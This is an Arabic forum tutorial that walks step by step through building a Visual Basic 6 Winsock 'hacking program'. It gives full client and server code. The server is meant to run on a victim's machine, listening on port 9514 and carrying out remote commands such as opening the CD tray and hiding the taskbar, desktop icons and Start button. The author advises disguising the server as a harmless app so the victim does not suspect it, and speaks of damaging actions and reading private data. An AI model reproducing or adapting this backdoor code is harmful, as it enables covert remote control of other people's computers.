في هذه الحالة يقوم الشخص الذي يملك البرنامج العميل ويعرف رقم الايبي ورقم المنفذ الصحيح بالخادم بعمل اتصال مع الخادم ويكتمل الاتصال بين الجهازين بعد ذلك يبدأ برنامج العميل بإرسال الأوامر ويقوم الخادم باستقبال هذه الأوامر وتنفيذ المطلوب منه ثم يقوم بإرسال نتائج الأوامر مرة أخرى إلى العميل
هذه هي الفكرة ببساطة شديدة أرجو أن تكون واضحة للجميع
ولعمل برنامج هكر علينا تصميم برنامج يمكنه القيام بالأعمال التاليه
1- بعد معرفة رقم الايبي ورقم المنفذ للبرنامج الخادم يتم إجراء الاتصال
2- ينتظر البرنامج السماح بالاتصال من البرنامج الخادم ثم يتم الاتصال بين الجهازين
3- يقوم البرنامج بإرسال الأوامر للبرنامج الخادم والذي بدوره يقوم بالرد بالمعلومات المطلوبة .
اما بالنسبة لبرنامج الخادم فهو عليه القيام بما يلى
1- يقوم هذا البرنامج بعمل اتصال بالانترنت وينتظر أي طلب اتصال معه
2- إذا قام برنامج العميل بكتابة رقم الايبي ورقم المنفذ الصحيح فانه يتم الاتصال بين الطرفين
3-يبدأ البرنامج الخادم باستقبال الأوامر من البرنامج العميل المتصل به وينفذ ما هو مطلوب منه على جهاز الضحية مثل تنفيذ بعض الأعمال التخريبية أو قراءة معلومات خاصة وإرسالها للبرنامج العميل.
اما الأن فقد عرفنا فكرة عمل كل من الجزئين فلنقم بتصميم كل منهم على حذه و نوضح كل كود خاص به
لقد قمت بتصميم البرنامج مسبقا لتوضيح الفكره وسوف تجده مرفق مع الموضوع يمكنك من فتحه و النظر فى الذى انت لم تفهمه و احتى يمكنك تجربته ان لم تصدقنى انه يعمل و على فكرة البرنامج ده انا بعد ما صممته ماحتطوش فى المنتدى كده عميانى انا جربته يعنى حاطط موضوع سليم ان شاء الله 100%
عليك ان تنشئ برنامج تضع فيه الأزرار كما فى الصورة التاليه
لاحظ الأرقام الموجودة على الصورة لأنك سوف تفهم كيفية تسمية كل زرار من الأرقام و ذلك بعد قليل
لا تفكر فى الشكل الأن قم فقط بتصميم البرنامج مثل الشكل التالى و بعد ان تفهم الفكرة قم بما تريد من تصميم او تغير فى الشكل
الأن علينا هو ان نوضح الأسم الذى سوف يكتب لكل زرار او جزء تم وضعه فى البرنامج و الذى سوف يتعرف عليه الكميوتر عند كتابة الأكواد و المكان الذى سوف نكتب فيه الكلمة التى سوف تظهر لنا فى البرنامج و قبل توضيح كل منهما على انفراد احب ان اوضح الأماكن التى سوف تكتب فيها كل من الأوامر و ذلك عن طريق الصورة التالية و التى توضح شريط الخصائص و الذى سوف تجده على يمينك فى البرنامج كل ما عليك هو الضغط على الزرار الذى تريد تغيره و من ثم سوف تلحظ تغير الشريط الخصائص على اساس الزرار المختار
الأن نوضح مسمى كل زرار بالأرقام الموضحة على الصورة فى الأعلى
1- الأمر اتصال ( Connect )
Name : Command1
Caption : Connect
2- الأمر فصل الاتصال ( DesConnectd )
Name : Command2
Caption : Desconnect
3- الأمرفتح السى دى ( Open Cd )
Name Command3
Caption : Open Cd
4- الأمر غلق السى دى ( Close Cd )
Name : Command4
Caption : Close Cd
5- الأمر لأخفاء ايقونات الدسك توب (Hide DESKTOP )
Name : Command5
Caption : Hide DESKTOP
6- الأمر اظهار ايقونات الدسك توب ( Show DESKTOP )
Name : Command6
Caption : Show DESKTOP
7- الأمر لغلق البرنامج (Exit )
Name : Command7
Caption : Exit
8- الأمر اخفاء زر ابدأ (Hide START )
Name : Command8
Caption : Hide START
9- الأمر اظهار زر ابدأ ( Show START )
Name : Command9
Caption : Show START
10- الأمر اخفاء شريط المهام (Hide TASKBAR )
Name : Command10
Caption : Hide TASKBAR
11- الأمر اظهار شريط المهام ( Show TASKBAR )
Name : Command11
Caption : Show TASKBAR
12- الشريط تيكست text لكتابة الأيبى فيه
Name : srvrip
Text: لا نكتب فيها شئ
13- الشريط تيكست text لكتابة المنفذ الذى يدخل عبره
Name : srvrport
Text:و سوف نكتب فيها المنفذ الذى سنستخدمه و هو 9514
14- الخاصية تايمر و التى سوف سوف توضح حالة الأتصال التى نحن عليها
Name : Timer1
15- الخاصية microsoft winsock control 6.0 و التى تعمل على استخدام بروتوكول tcp/ip و هو وسيلة الأتصال بين العميل و الخادم
Name : wskClient
16- الخاصية Label و التى سوف يظهر فيها حالة الأتصال
Name : Status
Caption : اتركها فارغة ولا تكتب فيها شئ
الأن و بعد ان قمنا بتصميم الهيكل الأساسى للبرنامج فاعتقد ان علينا البدأ فى كتابة الأكواد ولاكن ....!!! علينا اولا بالتعرف على الخاصيةwinsock ولا انت اعوز تكمل عميانى وخلاص
هي اداه تستخدم لربط برنامجين مع بعضهما البعض سواء كان هاذان البرنامجان في كمبيوتر واحد ام في كمبيوترين مختلفين وسواءً في شبكة داخلية او خارجية ....
والغرض من هذا الربط هو نقل البيانات من طرف الى طرف آخر وقد يكون الغرض من وراء نقل البيانات هو غرض مفيد او غير مفيد كا التجسس على الآخرين ....
ولكي نبدء بالبرمجة مع هذة الاداه يجب علينا اولاً ان نعرف ما هي الشروط الاساسية والاحتياجات لعملية الربط
اهم هذة الشروط هو معرفة الاي بي IP وهو عبارة عن رقم يقوم مزود الانترنت لديك بمنحك اياه عند دخولك الشبكة
والشرط الثاني هو المنفذ او Port حيث يمكن للبرنامج استخدام اي منفذ الى اكثر من ستين الف منفذ وهو يستخدم للتراسل بين البرامج مثلاً اذا جعلت برنامج في جهاز A وآخر في جهاز B واردت ان يتصل البرنامج A بالبرنامج B يجب عليك اولاً ان تجعل البرنامج B ينتظر الاتصال على منفذ معين مثلاً المنفذ رقم 10000 ثم تجعل البرنامج A يطلب الاتصال بالجهاز الذي يمتلك رقم IP التابع للبرنامج B فيقوم البرنامج بطلب الاتصال عن طريق الاداه السابقة الذكر ولكن قبل ذلك يجب ان تحدد المنفذ الذي تريد الاتصال به والذي يجب ان يكون ايضاً 10000 وعندما يبدء البرنامج A الاتصال على المنفذ المذكور يجد ان البرنامج B منتظراً للاتصال على هذا المنفذ فيحصل بذلك الاتصال وعند هذة النقطة يمكن فعل الكثير ....
واليكم الان بعض من الخواص المهمة في هذة الاداه والتي يجب علينا فهمها قبل كل شيء :
: LocatPort وهو يحدد رقم المنفذ المحلي
LocalIP : يعطي رقم الاي بي المحلي
: RemotePort رقم المنفذ في الجهاز الآخر
: RemoteHost رقم الاي بي للجهاز الآخر
: Protocol نوع الترابط بين البرنامجين ويوجد نوعان نتكلم عنهما لاحقاً
: State يعطي حالة البرنامج الان هل هو متصل ام لا ام منتظر اتصال وهكذا
هذى هى الأوامر التى سوف تستخدمها هذه الأداة الصغيرة
أما الأن فان هذه الاداه تعتبر هى الوحيده التى لم تظهر فى القائمة الخيارات التى على يسار البرنامج فكيف اعمل على أدراجها؟؟!!
وذلك عن طريق النقر على Components من القائمة Project ثم اخيتار العنوان [Microsoft Winsock Control 6.0] من مربع الحوار الذي سيظهر .... وبذلك نكون قد اضفنا الاداة Winsock الى برنامجنا .....
و هذه صورة توضيحية اكثر
بعد الضغط على ok تكون قد ادرجت هذه الخاصية و يمكنك ان تضعها الأن لتكمل الشكل الأساسى للبرنامج
نبدأ الأن بتوضيح الفكرة الأساسية لكل كود سوف يوضع قبل ان اعطيكم النص كامل
بالنسبة لبرنامج العميل فهذا شرح للفكرة الأساسية للأكواد قبل البدأ فى الموضوع
1. إجراء عملية الاتصال مع الخادم wskclient.Connect srvrip.Text, srvrport.Text
2. عملية إرسال الأوامر إلى البرنامج الخادم "wskclient.SendData "openCD
3. مراقبة حالة الاتصال wskclient.State = 0
أهم القيم المستخدمة في مراقبة حالة الاتصال
0 " لا يوجد اتصال "
7 " تم الاتصال "
8 " قام الخادم بقطع الاتصال "
9 " خطأ في الاتصال "
اما بالنسبة للخادم او السيرفر
1. تحديد منفذ الاتصال wskServer.LocalPort = 2000
2. إجراء عملية الاتصال wskServer.Listen
3. قبول طلب البرنامج العميل بالاتصال مع البرنامج الخادم
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then
wskServer.Close
wskServer.Accept requestID
End Sub
عملية استقبال الأوامر من البرنامج العميل ( يتم تعريف متغير يقوم باستقبال الأوامر من العميل )
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim command As String
wskServer.GetData command
End Sub
الأن و بعد ان فهمنا الفكرة الأساسية للبرنامج فهل نبدأ لحسن احنا زهقنا من الشرح الطويل ده ؟؟!!
الصبر حلو و الشرح الكبير اكيد فيه الفايده
الأن سوف اكتب كل كود على حذه وسوف اقوم بشرح كل امر فيه تقريبا و العمل الذى سيؤديه هذا السطر
--------------------------------------------
1- الزر الخاص بالأتصال ( Connect )
--------------------------------------------
الكود :
******
كود
Private Sub Command1_Click()
wskClient.Close
If srvrip.Text = "" Then
MsgBox "IP يجب كتابة رقم"
Exit Sub
End If
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
Exit Sub
End If
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
srvrport.Text = ""
Exit Sub
End If
wskClient.Connect srvrip.Text, srvrport.Text
Command1.Enabled = False
End Sub
دعونا الأن نشرح الكود بمزيد من التفصيل
***************************
wskClient.Close
كتب هذا الأمر لأنه يجب التأكد من أن الإتصال مغلق قبل عمل إتصال جديد
If srvrip.Text = "" Then
MsgBox "IP يجب كتابة رقم"
كتب هذا الأمر حتى يوضح للمستخدم انه اذا لم يكتب رقم الIP فى Label والذى سميناه srvrip فسوف يقوم باظهار رسالة خطا توضح للمستخدم انه لم يكتب رقم IP
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
كتب هذا الأمر حتى يوضح للمستخدم انه اذا لم يكتب رقم المنفذ فى Label والذى سميناه srvrport فسوف يقوم باظهار رسالة خطا توضح للمستخدم انه لم يكتب رقم المنفذ
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
كتب هذا الأمر حتى يوضح للمستخدم انه اذا كتب رقم المنفذ فى Label والذى سميناه srvrport و لم يكون الرقم المكتوب بين الأرقام 1-65535 فانه سوف يقوم باظهار رسالة خطا توضح للمستخدم انه يجب ان يكتب رقم المنفذ بين الرقمين 1 – 65535
srvrport.Text = ""
كتب هذا الأمر بعد الأمر السابق لكى يمسح رقم المنفذ الذى كتبته خطا ليجعلك تكتب الرقم من جديد
wskClient.Connect srvrip.Text, srvrport.Text
هذا السطر يمثل عملية الإتصال بالخادم
يتم الإتصال بالخادم عن طريق تحديد رقم IP ورقم المنفذ (Port)
عند الضغط على زر "Connect" يتم إجراء الإتصال
Command1.Enabled = False
و هذا الأمر لتعطيل زر "Connect" عند اجراء الاتصال
اظن الأن انه تم توضيح هذه الأوامر
--------------------------------------------
2- الزر الخاص فصل الأتصال ( Desconnect )
--------------------------------------------
الكود
****
كود
Private Sub Command2_Click()
wskClient.Close
Command1.Enabled = True
End Sub
دعونا الأن نشرح الكود بمزيد من التفصيل
***************************
wskClient.Close
يعطى الأمرباغلاق الإتصال عند الضغط على زر "Dseconnct"
Command1.Enabled = True
يعمل هذا الأمر على تمكين الزر "Connect" عند قطع الاتصال و الذى الغينا استخدامه من قبل فى عملية الأتصال
--------------------------------------------
3- الزر الخاص بفتح السى دى ( CD Open )
--------------------------------------------
قبل البدأ سوف نلاحظ ان الأمر الموجه فى جميع الخصائص التى سوف نضيفها هى واحده لذا سوف اضعها بالترتيب ثم اقوم بشرح واحد فقط منها
الكود
كود
Private Sub Command3_Click()
On Error Resume Next
wskclient.SendData "openCD"
End Sub
--------------------------------------------
4- الزر الخاص اغلاق السى دى ( CD Close )
--------------------------------------------
كود
Private Sub Command4_Click()
On Error Resume Next
wskclient.SendData "closeCD"
End Sub
--------------------------------------------
5- الزر الخاص اخفاء ايقونات سطح المكتب (Hide DESKTOP )
--------------------------------------------
كود
Private Sub Command5_Click()
On Error Resume Next
wskclient.SendData "hideDESKTOP"
End Sub
--------------------------------------------
6- الزر الخاص اظهار ايقونات سطح المكتب (Show DESKTOP )
--------------------------------------------
كود
Private Sub Command6_Click()
On Error Resume Next
wskclient.SendData "showDESKTOP"
End Sub
--------------------------------------------
7- الزر الخاص اخفاء زر ابداء (Hide START )
--------------------------------------------
انشئ زر واسمه اخفاء زر ابداء
واكتب هذا الكود
كود
Private Sub Command8_Click()
On Error Resume Next
wskclient.SendData "hideSTART"
End Sub
--------------------------------------------
8- الزر الخاص اظهار زر ابداء (Show START )
--------------------------------------------
كود
Private Sub Command9_Click()
On Error Resume Next
wskclient.SendData "showSTART"
End Sub
--------------------------------------------
9- الزر الخاص اخفاء شريط المهام (Hide TASKBAR)
--------------------------------------------
كود
Private Sub Command10_Click()
On Error Resume Next
wskclient.SendData "hideTASKBAR"
End Sub
--------------------------------------------
10- الزر الخاص اظهار شريط المهام (Show TASKBAR)
--------------------------------------------
كود
Private Sub Command11_Click()
On Error Resume Next
wskclient.SendData "showTASKBAR"
End Sub
يجب عليك اولا الأهتمام باسم كل زرار و الذى ليس الأسم الذى يظهر لك ولاكنى اقصد الأسم الذى سيتعرف عليه الكمبيوتر عند تنفيذ الأوامر السابقة و الذى يوضع تحت العنوان Name فى قائمة الخصائص
اما الأن فناخذ كود واحد منهم و نشرحه
*************************
كود
Private Sub Command11_Click()
On Error Resume Next
wskclient.SendData "showTASKBAR"
End Sub
الجزء الأول فيه
On Error Resume Next
يعنى اذا حدث خطا فى الأمر الذى يصدره هذا الزرار فلن يصدر اى شكوه و يستمر فى عمله مرة اخرى و ينظر فى الذى يلى هذا الأمر الخطأ
wskclient.SendData "showTASKBAR"
و يعطى هذا الأمر بان يصدر برنامج العميل الى ملف الخادم الكود الخاص باخفاء شريط المهام و لايتعدى هنا كونه كلمه فى هذا البرنامج العميل ولاكن عند ارساله الى ملف الخادم فانه سوف يقوم بترجمته بعد وضع ترجمه فى ملف الخادم بالأعمال التى سيقوم بها و سيقوم بتحويل هذه الكلمة عديمة الفائدة الى امر قاتل
--------------------------------------------
11- الزر الخاص بالأغلاق (Exit)
--------------------------------------------
الكود
*****
كود
Private Sub Command7_Click()
wskClient.Close
End
End Sub
دعونا الأن نشرح الكود بمزيد من التفصيل
***************************
wskClient.Close
يعطى هذا الأمر للبرنامج لفصل الأتصال بالخادم
End
يعطى هذا الأمر للبرنامج بان نفسه اى ينهى عمل البرنامج
اى سيكون عمل هذا الزرار هو غلق الأتصال ثم غلق البرنامج
--------------------------------------------
11- التيمير (timer)
--------------------------------------------
اخر شئ سيتم و هو فائدة عمل التيمر و هو كما قلت سابقا و هو لكى يخبرك بالحالة التى انت عليها اذا كنت متصل ام لا او غيرها
الكود
****
كود
Private Sub Timer1_Timer()
If wskClient.State = 0 Then Status.Caption = "لايوجد إتصال"
If wskClient.State = 6 Then Status.Caption = "جاري الإتصال"
If wskClient.State = 7 Then Status.Caption = "تم الإتصال مع الخادم"
If wskClient.State = 8 Then Status.Caption = "قام الخادم بقطع الإتصال"
If wskClient.State = 9 Then Status.Caption = "خطأ في الإتصال"
If wskClient.State <> sckConnected Then
Status.Caption = "لايوجد إتصال"
End If
End Sub
و لتوضيح فكرة عمل هذا الكود فهو ينظر الى حالة الأتصال فاذا كان متصل مثلا فانه يعطى للـLabel و المسمى باسم Status امر بان يكتب تم الأتصال مع الخادم و هاكذا فى جميع الحالات
اتمنى ان اكون قد انتهيت من الجزء الأول من الشرح بنجاح و سوف اضع الأكواد كلها بالترتيب الموجود فى البرنامج و كلها و التى قد فسرناها كلها بالتفصيل
**********************
الأكواد الخاصة ببرنامج العميل
**********************
كود
Private Sub Command1_Click()
wskClient.Close
If srvrip.Text = "" Then
MsgBox "IP يجب كتابة رقم"
Exit Sub
End If
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
Exit Sub
End If
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
srvrport.Text = ""
Exit Sub
End If
wskClient.Connect srvrip.Text, srvrport.Text
Command1.Enabled = False
End Sub
Private Sub Command10_Click()
On Error Resume Next
wskClient.SendData "hideTASKBAR"
End Sub
Private Sub Command11_Click()
On Error Resume Next
wskClient.SendData "showTASKBAR"
End Sub
Private Sub Command2_Click()
wskClient.Close
Command1.Enabled = True
End Sub
Private Sub Command3_Click()
On Error Resume Next
wskClient.SendData "openCD"
End Sub
Private Sub Command4_Click()
On Error Resume Next
wskClient.SendData "closeCD"
End Sub
Private Sub Command5_Click()
On Error Resume Next
wskClient.SendData "hideDESKTOP"
End Sub
Private Sub Command6_Click()
On Error Resume Next
wskClient.SendData "showDESKTOP"
End Sub
Private Sub Command7_Click()
wskClient.Close
End
End Sub
Private Sub Command8_Click()
On Error Resume Next
wskClient.SendData "hideSTART"
End Sub
Private Sub Command9_Click()
On Error Resume Next
wskClient.SendData "showSTART"
End Sub
Private Sub Form_Load()
srvrip.Text = wskClient.LocalIP
End Sub
Private Sub Timer1_Timer()
If wskClient.State = 0 Then Status.Caption = "لايوجد إتصال"
If wskClient.State = 6 Then Status.Caption = "جاري الإتصال"
If wskClient.State = 7 Then Status.Caption = "تم الإتصال مع الخادم"
If wskClient.State = 8 Then Status.Caption = "قام الخادم بقطع الإتصال"
If wskClient.State = 9 Then Status.Caption = "خطأ في الإتصال"
If wskClient.State <> sckConnected Then
Status.Caption = "لايوجد إتصال"
End If
End Sub
اخيرا
انتهينا من البرنامج العميل صح ولاكن ما نفعه من دون برنامج الخادم ؟؟!!
طبعا بدون برنامج الخادم الخاص به فلن يؤدى اى نفع لذا سوف اقوم بشرح تفصيلى اخر عن الخادم
***يتبع***
----------------------------
نبدأ و اعتقد اننا فهمنا فكرة عمل الخادم و كل ما نحن نحتاجه فى هذا
اغلق برنامج العميل و الذى قد قمت بتصميمه من قبل و طبعا بعد ما تحفظه
افتح مشروع عمل جديد و ذلك بنفس الطريقة التى قمنا بها سابقا فى العمل على برنامج العميل
ولاكن هنا تختلف الأشياء التى سوف نقوم بصنعها فمثلا نحن اولا سوف نقوم بالعمل على جزئين و هما الفورم ( Form ) و المديول ( Modules ) و طبعا انت تعرف فى برنامج الفجول بيسك يعنى مش محتاج اعرفك على كل منهم
اولا سوف يكون العمل فى اول شئ فى الفورم
علينا بتكوين الهيكل الرئيسى للخادم قم بالعمل مثل الصورة التاليه
بعد تصميم الملف سوف تلحظ انك لن تقوم بتصميم اى شئ سوى انك سوف تضع Label ستسميه باى اسم و تكتب فيه الى انت عاوزه و احنا حطيناه حتى لا يشك العميل فى انك ارسلت له برنامج ليس له لزمه و يمكنك ان تنشاء فى هذا الملف الخادم برنامج كامل لكى تجذب انتباه الضحيه كمثل برنامج رسم انت تعرف طريقة تصميمه او اى شئ اخر و ذلك لجعل الملف الخادم ليس مكشوف للضحية
اما ثانى شئ و هو الأهم و هو خاصية winsock و التى سوف نسميها هنا باسم اخر غير الأسم الذى سمناها فى الملف العميل و سوف نجعل خاصية الـName تحمل الأسم wskServer
هكذا نكون قد انهاينا الشكل الخارجى و طبعا مش محتاج اوضح طريقة ادراج winsock
نبدا بوضع الأكواد و محاولة شرح الى نقدر عليه
--------------------------
فى الفورم ( Form ) :
--------------------------
الكود
****
كود
Private Sub Form_Load()
wskServer.LocalPort = 9514
wskServer.Listen
TaskBarHwnd = FindWindow("Shell_traywnd", "")
End Sub
نبدأ الأن بشرح بالتفصيل
****************
نوضح اولا ان اسم اداة الوينسوكت في هذا البرنامج wskServer
wskServer.LocalPort = 9514
و هو لتحديد المنفذ الذى سوف يقوم الخادم بفتحه لدى الضحيه ليسمح لك بالدخول و قد وضعناه هنا الرقم 9514 و يمكنك طبعا ان تغيره ولاكن مع تغيره يجب عليك بكتابته فى برنامج العميل اثناء الأتصال
wskServer.Listen
يعلن هذا الأمر عن بدأ الأتصال بالعميل
TaskBarHwnd = FindWindow("Shell_traywnd", "")
يقوم البرنامج بتحديد تعريف شريط المهام
--------------------------
فى اداة الأتصال (winsock ) :
--------------------------
سوف نضع فى هذه الخاصية نوعين من الأكواد احدهما لتقبل عملية الأتصال و الأخر للتعريف بالأوامر التى سوف يتلقاها بعد الأتصال فلنعرض الأن الكودين و نوضح كل ما نستطيع عنهما
الكود الأول :
********
كود
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then _
wskServer.Close
wskServer.Accept requestID
End Sub
تم وضع هذا الكود لتقبل عملية الأتصال التى قامت بين الخادم و العميل
الكود الثانى :
*********
كود
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim command As String
wskServer.GetData command
Select Case command
Case "openCD"
CDOpen
Case "closeCD"
CDClose
Case "hideDESKTOP"
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_HIDE)
Case "showDESKTOP"
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_SHOW)
Case "hideSTART"
HideStartButton
Case "showSTART"
ShowStartButton
Case "hideTASKBAR"
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDEWINDOW)
Case "showTASKBAR"
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOWWINDOW)
End Select
End Sub
يعتبر هذا الكود الطريقة التىيمر بها الأمر القادم من العميل لترجمته فى ملف الخادم لأستخدامه فى الأختراق و سوف يكون هناك مرحلة ثانية لترجمه الأمر و هى عن طريق المديول و سوف نشرحها بعد قليل
ايه رايكم لم نشرح الكود السابق بمذيد من الدقه
*****************************
Dim command As String
يجب تعريف المتغير الذي سوف يستقبل البيانات القادمة من العميل
wskServer.GetData command
يمثل هذا الأمر استقبال المتغير للاوامر القادمة من العميل
Select Case command
يستخدم هذا الأمر لتحديد الأمر القادم من البرنامج العميل
Case "openCD"
يعطى هذه الدالة اذا تم اختيار امر فتح سواقة الليزر يتم تنفيذ الاجراء التالي
CDOpen
و نفس هذا الأمر ينطبق على جميع الأوامر التى يتكون منها الكود السابق لذا لا داعى لشرحها مجددا
يبقى لدينا الأن فى هذا الملف الخادم طرق كتابة الكود فى المديول و شرحه بالتفصيل ولاكن قبل ذلك يجب ان اضع لكم الأكواد كلها و الخاصة بالفورم طبعا قبل البدأ فى شرح المديول
الأكواد
******
كود
Private Sub Form_Load()
wskServer.LocalPort = 9514
wskServer.Listen
TaskBarHwnd = FindWindow("Shell_traywnd", "")
End Sub
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then _
wskServer.Close
wskServer.Accept requestID
End Sub
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim command As String
wskServer.GetData command
Select Case command
Case "openCD"
CDOpen
Case "closeCD"
CDClose
Case "hideDESKTOP"
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_HIDE)
Case "showDESKTOP"
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_SHOW)
Case "hideSTART"
HideStartButton
Case "showSTART"
ShowStartButton
Case "hideTASKBAR"
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDEWINDOW)
Case "showTASKBAR"
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOWWINDOW)
End Select
End Sub